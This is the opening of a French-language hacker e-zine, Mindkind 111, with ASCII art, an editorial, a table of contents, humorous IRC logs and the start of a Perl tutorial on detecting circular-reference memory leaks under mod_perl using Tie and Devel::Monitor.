
        *      .    ,       _________            |       \|/`
     .     .    |  .       |_________|    ().   -*-     -=*=-       __ _ _ _     ___ _ __     __ _  __
  `; 	 ,    --o-- 	.  .---------.           |     , /|\       /        |   /        |   /        | 
 .   .  	|    _     |         |           |         *   .  /         |  /         |  /         | &
     .--- -- -.         .-'--- --.   |   x   )                   /___       | /___       | /___       ;
     |         '       '         |   .             .--- --- -.       |      |     |      |     |      | 
  |  '          \_____/	         |   |----.   .----|          \      ;      :     |      |     .      |
  .  |                           |   |     \  |    |       __  \     |      |     :      .     ;      :   
 ;'. |                     ;     |   |      '-'    |       \ \  '    |      ;  *  |      :   , |      .
 -.' .			         |   |             |          ' |    .      .     ;      .     .      | 
  |  |        			 .   |     	   |          | |    |      .     |      |     |      | *
     |        			 '   |             :          | |    |      '     '      ' .   '      ;  
     |         __     __         |   |         	   |          ' |  __|______|_____|______|_____|      |_ _
 (*( .        |  \___/  |        '-.-'     .-.     ;       /_/  ' |   		             __|      |__  
     |        '         '        | |       |  \    |           /  |     MiNDKiND  1 1 1     |            :
 .   |        |    *    |        : '-------'   '---;          /   |    			    '--- -- -----'
     '--------'         '--------'                 '---- ----'    |     "quand 111 rime avec ça ownz"
                           ________    -()-    .---- ----.        |                  
     .--- --- --.   .--- -|________|---.   .---'-         \    *  |________________  _______ _ __ _____ _ _ *_
     |          |  /         /   |      \  |     |     _   \   |                    
 (*) |          '-'       .------'-.     '-'     |    \ \   '      &.            8*         . . , + 
     .			  :        |             ;       '  |            -(**)-     . . .,   = 
     :     .              |        |       .     |       |  |     
     |                    ;        .             .       |  |     "Lots of people talk and few of them know"                  
     '                    |        ;             |       .  |                                 
     :                '   |        |             :    /_/   .        		 	     - Led Zeppelin.
     .                    |        :             |         /     
     |         .-.        ,        |    .-.      :        /     (*)       _
     |         |  \       |        .    |  \     |-------'               (*)- - -- -- -- - 
     '---- ----'   '--- --'        |----'   '----'                        ¯
                          |        | 
                          '---- ---'  .  :`                              ,_   )    :   '    ,       
  *    .---. .      .        x          ,  .- =-     `.       ,.  '  ` ,    
     ,'  /. '.       								\|/
     :    ) ;`   .      .        x          ,  .-=+=-      .       ,. ,'  ` ,  ¯-*-_
     ',  -  .' 					.				/|\
       '---'          
       `
      .--------- - ----------------- -- ----- ---- --- -------- ----------- ----------- - -- - -------
     : mindkind 111.  mindkind 111.  mindkind 111.  mindkind 111.  mindkind 111. mindkind 111. mindki 
     '------ - ---------- --------- - -------- -------------- - - -- - -- - ------------- - - -

	
	On vous l'annoncais il y a à peine 2 ezine, L'empire debarque. Domage pour ceux à qui 
il sagissait d'une mauvaise nouvelle, mais aujourd'hui à la lumière de notre 7eme ezine, j'ai 
l'infini et très immence plaisir (à en froller l'indécence et labus de power  trip)  de  vous 
annoncer que c'est maintenant chose faite, établie,  reconnue  et  incontesté.  L'Empire  est 
débarquer....et yavais pas un chat sur la plage pour  nous empèché de nous installé (même pas 
un poux), mais ne vous en faite pas, on est habitué. Par contre si leffort de  guerre  fut  à 
peu prêt null (mis à part les attaques par  proxy  floodbot  d'un  crétin  de  francais)  les 
efforts de contruction (j'aurais bien aimer parler de reconstruction, mais comme y'avais rien 
à détruire...) eux non pas été laissez de coté, on  c'est  construit  de  beau  joujou  qu'on 
aimerait bien vous dires qu'on a, mais ca ne serais  pas  trés  stratégique  de  notre  part. 
néanmoin on à pas laissez nos fans et notre public en reste, avec la sortie d'un nouveau site 
web  plus  dynamique  et  mieux  adapter  a  nos besoins (et on vous prépare pour bientot une 
version 3.5 eye  candy  ainsi qu'un update majeure du contenu). Site web qui d'ailleur est un 
succès si on considére  l'augmentation de 75% du nombre de visites quotidienne (il est fort a 
parier que le nombre de visites dépassera bientot la barre des 50000). 


	Vous  l'attendiez  depuis le mois de février. Fidèle à notre habitude on vous a faite 
poirroter  2  3  mois supplémentaire avant de vous le donner. Mais vous lavez maintenant sous 
vos yeux, Mindkind 111 also know as : Mindkind ca owns. Une  brique de 25 articles (ecrit par
20 auteurs différents ;]),  pour  une  totalité  de  500k.  Qui  en  fait l e plus gros ezine 
francophone a voir le jour depuis  1993.  Un  tel fait d'arme aura été rendu possible grace à 
la création de la fédération  hack.fr  qui  a  consolidé  l'union d es troupes québécoise (la 
première étape de ce rassemblement  en  unifiant  en  2000   les  restants  de  iga,  nvrsee, 
underdark et pyrofreak sous la bannière de mindkind) et  à  nous donné une voie en france via 
le support  du  groupe  hackever.  Le  nouveau  Pyrofreak (patoff, mulder, nuclear (lancien = 
neuro, endrix, tekrebel et kevorkian))  ainsi  que  hackever  (un  groupe  francais)   auront  
participer  à  l'élaboration de se ezine, ainsi que de nombreux indépendant  de  passage  sur  
#hack.fr  pour  porter  la  participation  des  non membres de  mindkind  à  plus  de  1/3 du 
ezine.  Un  record jusqu'ici, démentissant tout argumant disant que  mindkind  est  un groupe 
fermé dédié à la recherche du pouvoir. Désolé mais on s'empèchera pas d'avancer pour ceux qui 
on peur  du  changement.
	

	Avant de vous laissez au topic qui va vous démontré pourquoi  mindkind,  ca  ownz  je 
dois avertir tout les polititiens, comptables, agent constabulaire, police de  carton,  agent 
du fbi, de la cia, du scrs, du mi6, pompier, gardienne de garderie a 5$,  joueur  de  hockey, 
chauffeurs   de  taxis  importé,  vendeurs  de  souvlaki,  infirmières  naives,  porteurs  et 
porteuses  de  collant,  mangeurs  de  gras  trance,  danseuses de baladi, ovni, doublures de 
r2d2, worshipeurs de  rael,  buveurs  d'eau pérrier, amateurs de zeste de citron, conducteurs 
de pépine, critiques autodidactes, fidèle de bénédict  XVI,  brasseurs  de jello, va nu pied, 
ptit gros dla classe, ou tout être qui est considéré à tord ou à  raison  comme  un  osti  de 
fucké, et bien ce ezine n'est pas faite pour vous et la  lecture  pourrais  vous  causez  des 
douleurs intense à l'arriere du crane et dans le millieu du genoux gauche. 


et Si certain propos de ce magazine vous offences, ben, c'est plate mais c'est ca!
	


 _______________________   ,    .  , _ +__ ,   .    ;  .x  ________________________
 \ ____________________\\`__________| |/ /______________  /                      |\\  ;  .  , `  .
 ,\\_///__ //_ /// / _/ \\\   |\  /||   /    / | / | / |\'\                      | \\     +    ;
. / ////_///__/// / /__  \\\  | \/ ||  \  __ | | | | | | \ \                     | {\\ `  : .      `
 / ///___///  // /_____\  \\\ ||\/|||   \ ~~ | | | | | |  \`\                    | {}\\     x   ' .
/ //   from the stars  ____/ \||  |||_|\_\ __|_|_|_|_|_|___\ \__________________ | {} \\ `     '   
\//     _______________/   .  \|  ||  ____/ '   . \  {}  /   `\  {}  / ,  :  `  \| {} |/   | `   X,
`\_   _/ .    . x   '   `    ; \_ ||_/,  `    +    | {} | . +  | {} |   x   .  + | {} | . -+-  .
   \_ \  X :`  ,  '   ; +  .  , / _/ ,  x. ` ,  ` ;|\()/|     :|\()/| +  . ,     |\()/|    |  ,   ;
 `  '\\_`_____________________ _//_______   ____ _  \||/ ' | ,  \||/___ _______`_ \||/   .           
' ;  \_ |[O1] un affaire de lemurien                 ||  -=+=-   ||      C4-       ||  x     . :     
  . '  \|[O2] une 6eme affaire de perl               ||  . | , ` ||   Nothing94   [__]     `       . 
,    .  |[O3] un affaire de nas                     [__]~~~~~~~~[__]   Nexact      ||  ,`.  ; '      
  .--,  |[O4] Un affaire d'ergonomie software        ||   +   .  ||      h3       [__]      x   +    
.`( ).',|[O5] Un affaire de thread                  [__]~~~~~~~~[__]   Phawnky     || ` ,      .  ,  
:'`  =':|[O6] Un affaire de spying                   ||  ,  . '  ||    Mr_Peuch   [__]   _(Ö)_       
`.'= ".'|[O7] un affaire de routing                 [__]~~~~~~~~[__]   Wyzeman     ||  ((OVNII)) x   
` `--`  |[O8] un affaire de shellexecute             ||   ;  x"  ||     Waxaw     [__]  ``---''      
   x '  |[O9] Un affaire de fake-bnc                [__]~~~~~~~~[__]   Phawnky     || . `     `    , 
 ,    . |[1O] Un affaire de philosophie              ||   ' ` ,  ||    Qwzykx     [__]        .      
    ;   |[11] Un affaire de javascript              [__]~~~~~~~~[__]  Liondejuda   ||  + : `  .;'``' 
 . +   .|[12] un affaire de reverse shell            || . X` ,'  ||      __2      [__]       ;` ;`;  
        |[13] un affaire de sécurité irc            [__]~~~~~~~~[__]    Ninja      ||  ,   ;'   `\ ' 
   "  , |[14] un affaire de cops                     ||  .  ' +  ||    Wyzeman    [__]   .'   +,     
    |   |[15] un affaire de modem adsl              [__]~~~~~~~~[__]   Nuclear     ||   .;  |  /``   
 . \|/  |[16] un affaire de trojan                   ||   ;   .  ||    FlUxIuS    [__] .; .'`.;  `   
 --=+=--|[17] un affaire de cryptographie           [__]~~~~~~~~[__]   Steck       ||  : / .  `      
`  /|\ `|[18] un affaire de bot irc scriptable php   || .  x' `  ||    Wyzeman    [__] :\|   '`      
    |   |[19] un affaire d'esploration urbaine      [__]~~~~~~~~[__]     vn        ||  `;.`'\.     :'
 ` ;  ' |[2O] un affaire de ntfs                     ||  . '  ,  ||    FlUxIuS    [__]. `.  / `;    ;
,   .   |[21] un affaire d'antenne qui tourne       [__]~~~~~~~~[__]    n0p        ||    `;   .      
  '   : |[22] un affaire de google                   ||   .  '   ||    loytie     [__]  '  ; ;       
 .   '  |[23] un affaire de password                [__]~~~~~~~~[__]  Lastcall_    ||  +   `:.       
  X .  _|_                                           ||    `  ;  ||               [__]    .   `;. .. 
      / | \_                                         ||  '+      ||                ||  ' :       ` ``
 '`  _// \__\___________  _________   _____  ___ _  /||\ : .    /||\ __ ______ __ /||\      x`     `
  ; / _/   x  ` `   ;    "  , + \_ \  .   :     `  |/()\|    x'|/()\|.    '   ,  |/()\| .  .  ;     ,
 , _//   ` : ,   +   . ` x .   `  \\_  , X `  + ,  | {} | ` ,  | {} |  ()  ;`    | {} |   -+-   ` '  
 _/  /____________________________\  \____________/__{}__\____/__{}__\_____ , + /| {} |\ ; `  . :  ,
|                                                                          \___/ | {} |\\  .  ,   . 
|                      _____________________        Mindkind ca ownz             | {} | \\      X. ;
 \____________________/                     \                                    | {} | //  .  ,  
                                             \___________________________________|____|_/ '       '


(ca fait tu pas star controle 2 a votre gout ?) (hein qwzykx ;])!!!



	Comme expliquer plutot, le ezine de mindkind n'est plus  leffort  d'un  seul  groupe. 
Pyrofreak y ayant participer d'un article, et le nouveau groupe francais, hackever, a fournis 
4 articles dans ce ezine. Étant donné l'importance de leur  contribution,  nous  leurs  avons 
aussi laissez une parti de notre disclaimer afin qu'il puisse faire valoir leur droit :


             0001001000000100000001001000001000000100010000000000010
             010      __  __           __  _____                 000 
             000     / / / /___ ______/ /_|__  /   _____  ____   001  
             001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
             000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
             000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
             010                                                 000
             0100010001000000100001001000001001000000010000010000100
     
          http://hackever.n0ne.org

DISCLAIMER:

Tous  ce  qui  est contenue sur ce site est la pour information, distraction, et pour  rendre 
compte des dangés d'un système mal configuré .

L'équipe  de  hackever  et  son  hebergeur  ne  sont  en  aucun  cas résponsbles des actes ou 
agissements  quel  qu'en  soit  la  sorte, qui pourraient survenir aprés la lecture  des  ses 
articles, de sont forum et son chan irc.

L'article 323-1 du Code Pénal Français Réprime les intrusions et le maintient dans  un sytème 
informatique .

Conformément à l'artcile 323-3 du Code Pénal Français les  pennes  requises  sont  un  an  de 
Prison et 100 000 Frs d'amende et s'il modifie les données , Les peines sont  multipliées par 
trois .

Hackever vous invites donc a réspecter la loi, si vous ne comprenez  pas  ou  n étes  pas  en 
accord avec ce qui est écrit ci-dessus ne lisez pas nos articles, notre  forum,  et  ne venez 
pas sur notres chan irc.



                                                                               hackever team.


Pour rejoindre Mindkind sur le front line :


NETWORK 	CHANNEL   	Average user

freenode 	#hack.fr  	4

recycled 	#hack.fr 	3 

undernet	#hack.fr 	66 
		#linux.fr 	36 
		#programmation 	29  

worldnet 	#hack.fr 	5   

efnet 		#hack.fr 	6  

dalnet		#programmation	9



	Bon, avant de vous laissez tranquille, je vais me payer un petit plaisir. Ca fait  un 
peu ripoff, mais d'un autre coter c'est quand meme tres actuel. Ceux  qui sont nostalgique de 
IGA risque de sourire,  jinclus ici une parti "modifier" de ma contribution au disclaimer des 
ezine IGA en 98. 


La GRC vous surveille quand :


1)  apres  la  parution de votre 7e E-zine ya une echafaudage  pour  nettoyer vos vitre alors 
    que vous demeurer au sous-sol 

2)  apres  la parution de votre 7e E-zine, Un technitien vien  verifier  votre telephone et y 
    insert un micro.

3)  apres la parution de votre 7e E-zine, Un  plombier  vient  verifier le PH de votre eau de 
    toillette.

4)  apres la parution de votre 7e E-zine, vous appercevez une caravane avec une skin de truck 
    de poubelle venir fouillez vos dechet quotidien. 

5)  apres la parution de votre 7e E-zine, binf  vous  revele  sa  reel  orientation  sexuelle 
    [so scaring]

6)  apres  la  parution  de votre 7e E-zine, le bar dans lequelle vous allez toujours veillez 
    est maintenant vide mi a par le type au lunette fumer assis dans le fond. 

7)  apres la parution de votre 7e E-zine, on construit un dunken donut a coter de chez vous. 

8)  apres la parution de votre 7e E-zine, on fait un gros champs de construction deriere chez 
    vous ou tout les travailleurs porte un skin de veston cravate.

9)  pendant le mois suivant la sortie du mindkind 110, l'ange assis sur le sapin est habiller 
    en bleu et porte une paire de menote

10) Vous servez de reference dans les conferences policiere locale sur le hacking.


avant de lire ce manuscrit quelque règle de sécurité sont a prescrire


1) nous ne somme pas responsable des maux de tête attrapé par ceux qui auront  tenter de lire 
   le  magazine  la  tête  à  l'envers  pour pouvoir demasquer le message secret du capitaine 
   Cypher!

2) nous ne somme pas responsable de vos defaillance cervicale. 

3) si vous utilisez une version papier du magazine, mettez des gants pour pas vous coupez les 
   doigts.

4) se magazine contient assez de gras trence, cholesterol, mercure  et  agent de conservation 
   pour tuer sur le champs un cheval qui l'aurais avaler par erreur.

5) il est recommandé de boire beaucoup d'eau durant la lecture de se magazine, nous ne sommes 
   pas responsable des cas de mort par dhesydratation  survenu durant une lecture inintérompu 
   de se magazine.  


                                                               un lecteur cloné en vaut deux. 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O1]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Le Patrimoine Lémurien        ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: regarde cherie c'est ca un lémurien                     ]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      C4-     ]=\:\ _//     
                                                  \__\________________________/__/   





	Depuis le temps que vous nous demandez c'est quoi un lémurien et qu'on  sait pas trop 
comment vous expliquer ca. On ses donc deplacer à lémurland avec  nos  keylogger  et on les à 
observer dans leur habitat naturel, en voici un dans sa box. 


<init_null> si a ce moment présent quelqun rentre dans ma chambre
<init_null> i va me trouver weird éternelement
<HolyGod> ds quel position tu es
<init_null> jme fais secher les cheveux avec une grosse serviete blanche autour de ma tete
<init_null> ya dla musique hindi qui joue
<init_null> pis jgosse sur un afaire pour bretter de lhydrogen
<c4-> cest juste un mauvais passage de ta vie
<c4-> les choses vont sarranger
<HolyGod> pour bretter de l'hydrogen?
<init_null> haha
<c4-> ;P
<HolyGod> ta quel genre de "bebelle"
<HolyGod> pour sa chez vs?
<init_null> ca prend pas gfrand chose pour faire de lelectrolyse
<Wyzeman> ca lair de prendre un sechoir a cheveux pcq ta pu lair den avoir un
<init_null> heh


Les  lémuriens  se  réunisse aussi le soir pour accomplir certain rituel, nous  avons  eu  la 
chance d'en capturer quelque moment, avant de devoir senfuir,  repousser  par  une attaque de 
vieille bottes pèché prêt de l'usine de traitement  d'eau locale (demander moi pas comment on 
a su ca ;]).

* c4--_ sings the bluez
<c4--_> lala dim dim
<c4--_> laa laal laa
<c4--_> asti jai perdu le beat
<c4--_> jme reprend 
<c4--_> Annie toi tu fais la voi en background
<c4--_> Wyzeman joue le solo apres le 5ieme refrain 
<c4--_> pi phawnky contente toi detre sexy
<c4--_> 1 2 3 
<Annie> lalila uhhhh
<c4--_> la la dim dim la 
<c4--_> lililmlim
<Annie> lalila uhhhh
<Annie> hiiihooo
<Wyzeman> moo moo moo mooo mooooooo meuh 
<XeliteX> pwet!!!
<Wyzeman> (solo
<c4--_> asti cetais en plein ca 


et puis la plus par du temps un lémurien c'est juste quelqu'un de ben bizard.

<c4--_> asti sorter les camera, on va faire la 1001ieme emission de virginie
<phawnky> c4--_: rofl
<Wyzeman> celle ou elle se fait de virginifier
<phawnky> mature pr0n
* phawnky salive.
<Wyzeman> par sont mechan docteur poillus
<c4--_> qui en realiter etait son fils
<c4--_> adopter et perdu la meme annee
<phawnky> hahaha
<Wyzeman> elever par un faux marchant de vrai esclave
<Wyzeman> comme si cetais le fils de sa vache
<c4--_> savourant chaque instant intime avec celle-ci
<Wyzeman> comme un singe sur une corde de bois
<c4--_> ha
<Wyzeman> weird
<c4--_> bizzard en effet
<Wyzeman> c pour ca jecoute pas virginie
<Wyzeman> c trop fucker pour moi


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |<MADGiK> c le mindkind #7  :P                             \\_  \_ \   \\_ M  ; . X
 || |<Wyzeman> de?                                             \_ \   \\_  \_ \ K      
 || |<MADGiK> mindkind 111                                       \\_  \_ \   \\_ -  : '
 ||`|<MADGiK> c du binaire :P                                    \_ \   \\_  \_ \ 1   
 || |<MADGiK> c ca tu avais comme idée ?                           \\_  \_ \   \\_ 1  + 
 || |<MADGiK> ce pourrait-il ?                                     \_ \   \\_  \_ \ 1   
 ||'|<Wyzeman> ben                                                   \\_  \_ \   \\_  x 
 || |<Wyzeman> oui                                                   \_ \   \\_  \_ \  `
 || |<Wyzeman> 1 10 11 100 101 110 111                                 \\_  \_ \   \\_  
 ||,|<Wyzeman> 1 2 3 4 5 6 7                                           \_ \   \\_  \_ \.
 || |<MADGiK> c ca jme disais :P                                         \\_  \_ \  _\\_  
/ | |<MADGiK> jvnais dcatcher                                            \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Bon tout le monde a compris la ?                                      ]=\:\  |
  \__\__________________________________________________________________________________/



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O2]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ À la conquète du chameau #6   ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: votre chameau souffre-t-il d'alzheimer ?                ]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Nothing94   ]=\:\ _//     
                                                  \__\________________________/__/ 


+-------------------------------------------------------------------------------------------+
| Web     : nothing94.250x.com                                                              |
| Email   : philippe.cote@usherbrooke.ca                                                    |
| Version : 1.2.0.2                                                                         |
+-------------------------------------------------------------------------------------------+

+-------------------------------------------------------------------------------------------+
| Table des matières                                                                        |
+-------------------------------------------------------------------------------------------+

01 - Objectif
02 - Introduction
     * Exemple 0x0001 : Référence circulaire
     * Exemple 0x0002 : Tie
     * Exemple 0x0003 : Hériter de Tie::StdScalar
     * Preuve 0x0001 : Les modules Tie sont cons
03 - Ce que nous voulons
04 - Devel::Monitor
05 - Utilisation de Devel::Monitor
     * Exemple 0x0004 : Utilisation de "monitor"
     * Exemple 0x0005 : Utilisation de "monitor"
06 - Quelques problèmes avec les constantes
07 - Outil d'insertion de moniteurs
08 - Outil de visualisation d'erreurs
     * VerifyMonitor.pl
09 - Comment régler les références circulaires
10 - Impossible de weaken-er un objet tied
     * Preuve 0x0002 : Test de base
     * Preuve 0x0003 : mod_perl
     * Preuve 0x0004 : Assaut final
11 - Utilisation de Devel::Monitor
     * Exemple 0x0006 : Utilisation de "print_circular_ref"
12 - Impossible d'utiliser les références des objets tied
13 - Conclusion
14 - Signature
15 - Post-scriptum

+--------------------------------------------------------------------------------------------+
| Chapitre un                                                                                |
|                                                                                            |
| Objectif                                                                                   |
+--------------------------------------------------------------------------------------------+

Vous  avez un site web en Perl qui comprend beaucoup de lignes de code. Vous voulez  le faire 
rouler sur mod_perl, mais il y a des memory leaks. Vous avez donc  besoin  d'un  outil   pour 
trouver et supprimer les références circulaires.

+--------------------------------------------------------------------------------------------+
| Chapitre deux                                                                              |
|                                                                                            |
| Introduction                                                                               |
+--------------------------------------------------------------------------------------------+
Bonjour groupe,

Êtes-vous en forme ? Ouuiiii
J'ai dit, Êtes vous en forme ? OOOUuUUUiiiII

Bon, nous pouvons commencer.

Tout d'abord vous savez ce qu'est une référence circulaire...

+--------------------------------------------------------------------------------------------+
| Exemple 0x0001 : Référence circulaire                                                      |
+--------------------------------------------------------------------------------------------+
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4
5 {                 #Nouveau scope
6     my $a;        #Une variable nommé "$a"
7     $a = \$a;     #La variable $a pointe sur la référence de la variable $a
8 }
+--------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0001 : Référence circulaire                                                |
+--------------------------------------------------------------------------------------------+

Lorsque  le  scope  se  termine,  Garbage et Collector ont toujours une discussion enlevante. 
Voici le log de leur conversation à la ligne 8.

<Perl> Ok les gars, faites le ménage.
<Garbage> Hey, jveux deleter $a, cte variable là me gosse
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste à deleter cette variable là aussi
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste à deleter cette variable là aussi
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste à deleter cette variable là aussi
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste à deleter cette variable là aussi
<Collector> Non caliss, ya $a qui l'utilise
<Perl> Osti que vous êtes fatiguant, farmez vos yeules là

Donc,  on  voit  que  Garbage et Collector n'arrivent pas à s'entendre sur la bonne  décision  
à prendre. Ce qui fait que Perl, le médiateur, décide de les  faire  taire.  Toutefois,  à la 
ligne 9, qui est la fin du programme, Perl va puncher  sa  carte  et  s'en va boire une bière 
à la maison. Il n'existe donc  plus d'autorité en ce bas monde donnant libre accès à nos deux 
travailleurs.

<Garbage> Hey, Perl est parti, moi jdelete $a, là jtanné
<Collector> Non caliss, ya $a qui l'utilise
*** Garbage delete $a ***
<Garbage> Tin, ma job est faite, jmen va moi too
<Collector> Ok, on va tu boire une bière ?

Bon,  vous  connaissez maintenant les références circulaires. Une variable n'est pas détruite 
tant qu'une référence pointe dessus. Toutefois, si notre programme  doit rouler 24 heures sur 
24, les pertes de mémoire de ce genre peuvent être  fatales.  C'est  justement  le  cas  avec 
mod_perl sur apache, qui  va  conserver  en  mémoire le processus pour accélérer les temps de 
réponses au client. Nous  avons  donc  besoin  d'outils  pour détecter ces pertes de mémoire. 
Évidemment si vous  programmez tout seul dans votre cave, vous pouvez vous arranger parce que 
vous connaissez votre code source en entier, mais si vous êtes une équipe de programmeurs, la 
tâche peut devenir plus fastidieuse. Certaines possibilités s'offrent à vous.

- Utiliser Apache::Leak pour mod_perl 1.x (mod_perl 1.99 est considéré mod_perl 2.x)
- Utiliser Devel::Peek qui ne fait pas la job dont vous avez besoin
- Utiliser Devel::Leak qui ne fait pas la job dont vous avez besoin
- Utiliser Data::Structure::Util qui fait parfois des segmentation fault en
  utilisant la fonction has_circular_ref et qui est assez incomplet

Notez également que le problème de ces modules perl est qu'il vous donne  des  informations à 
l'endroit  où  vous  mettez votre ligne de code. Donc, il  faut  déterminer  manuellement  la 
meilleure place où positionner la validation.

Vous ne pouvez également pas utiliser valgrind (Un débuggeur mémoire *nix)  parce  que  votre 
process doit rester en mémoire et  doit  donc  être  exécuter avec  mod_perl.  Autrement,  le 
process se termine, et perl libère la mémoire à la toute fin, ce dont vous ne voulez pas.

Cependant, il existe quelque chose de bien sympathique en Perl, que l'on appelle tie ! L'idée 
d'un tie, est de mettre une cravate à notre variable pour cacher  les choses indésirables. Un 
politicien porte toujours une cravate, pour cacher ses vrais pensées. En d'autre termes, tous 
les accès  à  la  variable  vont  passer  par  la cravate. Cette cravate peut donc décider ce 
qu'elle fait de la requête.

+---------------------------------------------------------------------------------------------+
| Exemple 0x0002 : Tie                                                                        |
+---------------------------------------------------------------------------------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4
5  {
6      my $a;                    #Une variable nommé "$a"
7      tie $a, 'Tie::StdScalar'; #On pose une cravate de type scalaire standard
8      $a = 'something';         #La méthode standard STORE va être appelée
9                                #et celle ci va décider de ce qu'elle fait.
10                               #Elle pourrait par exemple décider d'effectuer
11                               #l'affectation tel qu'espérée, ou bien
12                               #empêcher l'affectation en prétendant que la
13                               #variable est read-only. Ceci étant aux
14                               #besoins du programmeur.
15 }   #$a est détruite ici, donc la méthode standard DESTROY va être appelée.
16     #Encore une fois, nous pouvons faire ce que nous voulons.
+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0002 : Tie                                                                  |
+---------------------------------------------------------------------------------------------+

Nous voyons que le tie nous permet d'englobber une variable et de faire ce que  nous  voulons 
avec les transactions effectuées. Dans notre cas, nous avons  besoin  de  savoir lorsque   la 
variable est détruite (DESTROY). Donc nous pouvons imprimer  un beau message disant que notre 
variable est détruite. Pour ce faire, nous  pouvons hériter de l'objet Tie::StdScalar de base 
comme ceci.

+---------------------------------------------------------------------------------------------+
| Exemple 0x0003 : Hériter de Tie::StdScalar                                                  |
+---------------------------------------------------------------------------------------------+
package TestScalar;
use Tie::Scalar;
use base 'Tie::StdScalar';

sub DESTROY {
    print STDERR "TestScalar::DESTROY : $_[0]\n"; #Imprime l'objet détruit
}
+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0003 : Hériter de Tie::StdScalar                                            |
+---------------------------------------------------------------------------------------------+

Cependant, cet exemple va imprimer des choses comme :
TestScalar::DESTROY : SCALAR(0x12345678)



Ce qui ne révèle en rien la variable qui va être détruite, si nous appliquons un  tie sur 500 
variables.

Nous  avons  donc besoin d'un outil un peu plus puissant. Donc,  j'ai  fait  un  monitorizeur 
(nouveau mot) qui va tie-er (tie-er (verbe) : appliquer une "tie" sur une variable) n'importe 
quel type de variable (SCALAR, ARRAY, HASH, ...).

De plus, je veux également pouvoir donner un nom à la variable que je monitor.

Je voudrais faire ceci : monitor('ma variable $a' => \$a);
qui en fait exécuterait ceci : tie $a, 'UnModuleQuelconque';
tout en conservant le nom "unique" de ma variable monitorée pour les prints.

Notez que les modules Tie par défaut sont basiques :
+---------------------------------------------------------------------------------------------+
| Preuve 0x0001 : Les modules Tie sont cons                                                   |
+---------------------------------------------------------------------------------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Tie::Array;
5
6  my @a = (1,2,3);
7  print '1 - ' . join(', ',@a) . "\n";
8  tie @a, 'Tie::StdArray';
9  print '2 - ' . join(', ',@a) . "\n";
10 untie @a;
11 print '3 - ' . join(', ',@a) . "\n";
+----------------------+
| Résultat             |
+----------------------+
1 - 1, 2, 3
2 -
3 - 1, 2, 3

+----------------------+
| Explications         |
+----------------------+

Les  modules  Tie  de base ne conservent pas les valeurs d'origines de la  variable.  Ce  qui 
implique que pour nos besoins, il faudrait redéfinir le  contenu  des  variables  à  bien des 
endroits, après avoir executé le tie. Il faudrait convertir ceci :

my @a = (1,2,3);
tie @a, 'Tie::StdArray';

en ceci :

my @a;
tie @a, 'Tie::StdArray';
